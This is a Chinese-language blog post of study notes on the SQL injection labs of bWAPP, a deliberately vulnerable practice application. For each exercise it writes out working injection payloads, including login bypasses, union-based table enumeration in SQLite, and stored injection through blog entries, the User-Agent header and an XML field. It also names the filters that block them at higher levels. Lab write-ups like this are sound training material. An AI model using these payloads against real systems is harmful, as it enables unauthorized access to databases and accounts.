hackerbwapp系列

bWAPP学习笔记 - A1 Injection (三)

2019-04-09  本文已影响0人  开口海螺

SQL Injection (Login Form/Hero)

Level: Low

通过POST方式提交

login=bee&password=bug' or 1=1 -- -&form=submit

Level: Medium

使用 addslashes()进行了过滤

Level: High

使用 mysql_real_escape_string()进行了过滤


SQL Injection (Login Form/User)

Level: Low

SQL Injection (Login Form/Hero)中是密码部分可以绕过,本题是登录名部分绕过

login=bee' or 1=1 -- - &password=bug&form=submit

Level: Medium

使用 addslashes()进行了过滤

Level: High

使用 mysql_real_escape_string()进行了过滤


SQL Injection (SQLite)

Level: Low

SQLite的注入方式与MySql一致,只是涉及一些数据库的表达式不同

字段数:
title=world' order by 6 --
显示位置:
title=world' union select 1,2,3,4,5,6 --
表名称:
title=world' union select 1,name,3,4,5,6 from sqlite_master where type='table' --

Level:Medium/High

源码中添加了过滤

$input = str_replace("'", "''", $data);

SQL Injection - Stored (Blog)

Level: Low

查看源码:

 $sql = "INSERT INTO blog (date, entry, owner) VALUES (now(),'" . $entry . "','" . $owner . "')";

在没有过滤的情况下,可以通过

',(select database()))#

重新组合语句进行注入

version();user()等同样适用

Level: Medium

使用 addslashes()进行了过滤

Level: High

使用 mysql_real_escape_string()进行了过滤


SQL Injection - Stored (User-Agent)

Level: Low

本题中 User-Agent会被载入数据库中,源码如下:

$sql = "INSERT INTO visitors (date, user_agent, ip_address) VALUES (now(), '" . sqli($user_agent) . "', '" . $ip_address . "')";

使用Burp Sutie抓包,修改User-Agent如下:

User-Agent: hello',(select user()))#

Level: Medium

使用 addslashes()进行了过滤

Level: High

使用 mysql_real_escape_string()进行了过滤


SQL Injection - Stored (XML)

Level: Low

直接点击 Any bug? 按钮没有任何反应
使用Burp Sutie抓包,重放发现了秘密

修改login的值,可以看到存在SQL注入点,并且可以获取数据库名

<reset><login>bee' +(select 0 from admin)+' </login><secret>Any bugs?</secret></reset>

其他的sql语句不再一一列举了~~~

Level: Medium

使用 addslashes()进行了过滤

Level: High

使用 mysql_real_escape_string()进行了过滤


上一篇下一篇

猜你喜欢

热点阅读